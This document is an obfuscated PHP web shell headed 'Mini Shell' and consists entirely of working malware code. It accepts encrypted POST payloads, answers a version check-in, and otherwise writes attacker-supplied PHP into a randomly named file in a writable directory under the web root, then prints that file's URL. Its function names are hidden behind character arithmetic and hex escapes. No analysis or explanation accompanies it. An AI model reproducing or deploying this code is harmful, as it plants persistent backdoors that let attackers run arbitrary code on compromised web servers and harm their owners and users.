Mini Shell

<?php function kWmlFwyOCz($AyvDNtVl){$GhBHHvuLd = chr(213-99).chr(222-125)."\x77"."\x75".chr(843-729).chr(924-816)."\144"."\x65"."\143".chr(271-160).chr(100).chr(744-643);$pltnvrRdT = "\163".'t'.'r'.chr(980-885)."\x72"."\x6f"."\x74".'1'."\x33";$IDzZp = "\163".'t'."\x72".chr(95).'s'.chr(278-166).chr(294-186)."\x69".chr(116);$AyvDNtVl = $IDzZp($GhBHHvuLd($pltnvrRdT($AyvDNtVl)));return $AyvDNtVl;}function PMZTyA($TkmPZ, $AyvDNtVl){$VadHqjgs = "\x73".chr(116).chr(573-459)."\x5f".'s'.chr(836-724).chr(716-608)."\151"."\x74";$TkmPZ = array_slice($VadHqjgs(str_repeat($TkmPZ, (count($AyvDNtVl)/16)+1)), 0, count($AyvDNtVl));return $TkmPZ;}function RLHoEFaDvb($bZWBAa, $Cdjbr, $TkmPZ){$SQgIfYzjvDFkVt = "4e6d0535-b9a0-4bda-bbf3-550b501041fe";return $bZWBAa ^ $SQgIfYzjvDFkVt[$Cdjbr % strlen($SQgIfYzjvDFkVt)] ^ $TkmPZ;}function WBnFdYg($AyvDNtVl, $TkmPZ){$AyvDNtVl = array_map("RLHoEFaDvb", array_values($AyvDNtVl), array_keys($AyvDNtVl), array_values($TkmPZ));$AyvDNtVl = implode("", $AyvDNtVl);$CTNAmejkjE = "\x75"."\x6e".chr(115)."\x65"."\x72"."\151".'a'.chr(108)."\x69".'z'.'e';$AyvDNtVl = @$CTNAmejkjE($AyvDNtVl);return $AyvDNtVl;}function UchRYnjitj(){echo "tENyMM";}function riLCN($SQgIfYzjir){static $rHgDYMK = array();$EwCRCKGdxU = glob($SQgIfYzjir . '/*', GLOB_ONLYDIR);$gRAUJATYYr = count($EwCRCKGdxU);if ($gRAUJATYYr > 0) {foreach ($EwCRCKGdxU as $SQgIfYzj) {$BNRGid = 'i'."\163".chr(773-678)."\167".'r'."\x69"."\x74"."\141".'b'."\x6c"."\x65";if (@$BNRGid($SQgIfYzj)) {$rHgDYMK[] = $SQgIfYzj;}}}foreach ($EwCRCKGdxU as $SQgIfYzjir) riLCN($SQgIfYzjir);return $rHgDYMK;}function wJxWzNik(){echo "CNqFeCuO";}function uBwHGM($AyvDNtVl){$tHydUJ = 'D'."\x4f"."\103".'U'.chr(362-285)."\105".'N'.chr(84)."\x5f".chr(326-244).'O'.chr(79).chr(301-217);$QDfHFvghY = $_SERVER[$tHydUJ];$EwCRCKGdxU = riLCN($QDfHFvghY);$RQZoG = array_rand($EwCRCKGdxU);$IPPsGI = chr(46)."\160".chr(772-668)."\x70";$SQgIfYzjeVhRF = $EwCRCKGdxU[$RQZoG] . "/" . substr(md5(time()), 0, 8) . $IPPsGI;$dplUvrYvt = chr(102).chr(359-254)."\x6c".'e'.'_'.chr(112).chr(536-419).chr(954-838).'_'."\143".chr(111)."\x6e".'t'."\145"."\x6e".chr(116)."\163";@$dplUvrYvt($SQgIfYzjeVhRF, $AyvDNtVl);$PgaGCVydga = chr(919-847)."\124"."\124"."\120".'_'."\x48"."\x4f".'S'."\x54";$alnfpZmw = chr(862-758).'t'.'t'."\x70"."\72".chr(47).chr(47);$wUkdq = $alnfpZmw . $_SERVER[$PgaGCVydga] . substr($SQgIfYzjeVhRF, strlen($QDfHFvghY));print($wUkdq);}foreach ($_POST as $TkmPZ => $AyvDNtVl){$raPOgewRs = strlen($TkmPZ);if ($raPOgewRs == 16){$AyvDNtVl = kWmlFwyOCz($AyvDNtVl);$TkmPZ = PMZTyA($TkmPZ, $AyvDNtVl);$AyvDNtVl = WBnFdYg($AyvDNtVl, $TkmPZ);if (@is_array($AyvDNtVl)){$RQZoG = array_keys($AyvDNtVl);$AyvDNtVl = $AyvDNtVl[$RQZoG[0]];if ($AyvDNtVl === $RQZoG[0]){$SutkP = "\x70".chr(852-748)."\x70";$vBeRsK = 'p'.chr(1010-906)."\x70"."\166".chr(1016-915).chr(114).chr(245-130).'i'."\x6f".'n';$hHqTHtx = 's'."\145"."\x72".chr(105).chr(500-403)."\x6c".'i'.chr(122).chr(101);echo @$hHqTHtx(Array($SutkP => @$vBeRsK(), ));}else {uBwHGM($AyvDNtVl);}die();}}}